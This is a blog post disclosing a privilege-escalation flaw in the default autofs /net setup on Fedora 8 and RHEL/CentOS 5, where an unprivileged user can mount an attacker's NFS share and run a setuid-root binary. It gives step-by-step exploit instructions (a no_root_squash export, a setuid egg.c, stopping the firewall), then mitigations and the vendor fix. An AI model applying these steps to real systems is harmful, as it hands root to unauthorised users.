Late last night, I was up configuring my media center PC (I made a fresh install of Fedora 8). I decided to use the pre configured /net mount point with autofs to mount my desktop on to my media center (basically, this is an easy way to mount NFS file systems on demand).
I simply made a symlink to /net/mydesktop.getmyip.com/home/josh in /home. So that when I cd to /home/josh on my media center, it will automount the NFS share off of my desktop. This setup works pretty well for what I am doing.
A while later I inspected the mount on the client. With the “mount” command:
DESKTOP.getmyip.com:/home/josh on /net/DESKTOP.getmyip .com/home/josh type nfs (rw,addr=192.168.1.3)
Well, it might not look like there is anything wrong here. But there is.
On a stock Fedora or RedHat EL 5+ load (Tested against CentOS, but this is supposed to be a 1:1 clone of RHEL), if a user changes to a directory under /net/xxx.xx.com/, they can automount a remote path of their choosing. The user does not need any special privileges. And, because the filesystem is not mounted without “nosetuid”, the user can mount a server they control and run setuid executables (there is more information here, but all you need to know is this allows any user to execute a program with special file permissions as “root”). Also, unlike described in many solaris automounter examples, there are no entries in the hosts file.
If you would like to see this flaw for yourself, follow these directions:
- only try this on your OWN computer systems
- I’m not responsible for any actions you decide to take
- I’m not responsible for any dataloss/damage that may occur from using anything discussed here.
- I’m not a hacker.
- I’m just a guy that found a vulnerability that I would like to see fixed.
A vulnerable system will
- have this line in its /etc/auto.master: “/net -hosts” (without “-nosetuid”)
- the “autofs” service will be installed and running:
- NOTE: This is the default configuration in CentOS 5 (RHEL clone) and Fedora 8
To gain root access on this system, you have to configure an NFS server on another computer (these directions assume you are running a red hat server):
- create a /etc/exports with the line: /export *(ro,no_root_squash)
- mkdir /export
- chmod 755 /export
- wget <file attached to this blog: egg.c>
- gcc egg.c
- chown root a.out
- chmod 4755 a.out
- /etc/init.d/iptables stop
- /etc/init.d/ip6tables stop
- /etc/init.d/portmap start
- /etc/init.d/nfs start
- /etc/init.d/idmapd start
- (probably a few others I’m not thinking of too, basically get a working NFS4 server)
Now, with an unprivileged account on the client:
- cd /net/hostname.of.server.com/export
- At this point, you will have a root shell on the client. You shouldn’t have had to make any configuration changes on the client to get here.
[josh@media josh]$ hostname
[josh@media josh]$ pwd
[josh@media josh]$ whoami
[josh@media josh]$ ./egg
- If you do not use /net mounts, just edit your /etc/auto.master and comment out the line entirely. Be sure to restart autofs.
- otherwise, you can always add the “-nosetuid” flag to the line, which will prevent executables on the share from being executed as root.
Though this may seem like a complex hack, it is pretty trival, and leaves a gaping hole in RedHat’s enterprise platform.
In my mind, the idea of having /net on RHEL, while nice, is a bad idea in general. I can imagine /net possibly helping PHP include exploits rootkit web servers, and much more.
I have already reported this configuration vulnerability to RedHat through bugzilla, and I dropped them an email at firstname.lastname@example.org .
RedHat resolved the issue very quickly. I am happy to see that they do take security very seriously. RedHat Made a public advisory on the 12th, which you can see here. They changed autofs, so that “nosuid” is now default. “suid” has to be explicitly stated, if it is desired on an autofs mount point.1 comment